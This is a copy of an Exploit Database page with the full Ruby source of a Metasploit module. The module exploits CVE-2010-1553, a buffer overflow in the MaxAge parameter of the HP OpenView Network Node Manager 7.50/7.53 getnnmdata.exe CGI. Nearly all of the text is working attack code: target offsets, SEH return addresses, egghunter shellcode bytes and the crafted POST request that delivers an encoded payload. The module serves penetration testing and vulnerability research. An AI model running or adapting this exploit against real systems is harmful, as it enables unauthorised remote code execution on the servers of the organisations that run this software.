HP OpenView Network Node Manager (OV NNM) – ‘getnnmdata.exe’ (MaxAge) CGI Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2011-03-24
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17042/

• ##
  # $Id: hp_nnm_getnnmdata_maxage.rb 12121 2011-03-24 00:49:33Z swtornio $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.
  				By sending specially crafted MaxAge parameter to the getnnmdata.exe CGI,
  				an attacker may be able to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 12121 $',
  			'References' =>
  				[
  					[ 'CVE', '2010-1553' ],
  					[ 'OSVDB', '64976' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "\x00",
  					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
  					'DisableNops' => 'True',
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'ECX',
  						},
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 7591, 'Ret' => 0x5a01f277 } ],
  					[ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 2054, 'Ret' => 0x5a666d69 } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'May 11 2010'))
  
  		register_options( [ Opt::RPORT(80) ], self.class )
  	end
  
  	def exploit
  
  		egg = rand_text_alpha_upper(4)
  
  		hunter ="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
  		hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
  
  		boom =rand_text_alpha_upper(target['Offset'])
  		boom << generate_seh_record(target.ret)
  		boom << hunter + egg + egg
  		boom << payload.encoded
  		boom << rand_text_alpha_upper(9024 - payload.encoded.length)
  	
  		sploit ="SnmpVals=&MaxAge=#{boom}"
  
  		print_status("Trying target #{target.name}...")
  
  		send_request_cgi({
  			'uri'		=> '/OvCgi/getnnmdata.exe',
  			'method'	=> 'POST',
  			'data'		=> sploit
  			}, 8)
  
  		handler
  	
  	end
  
  end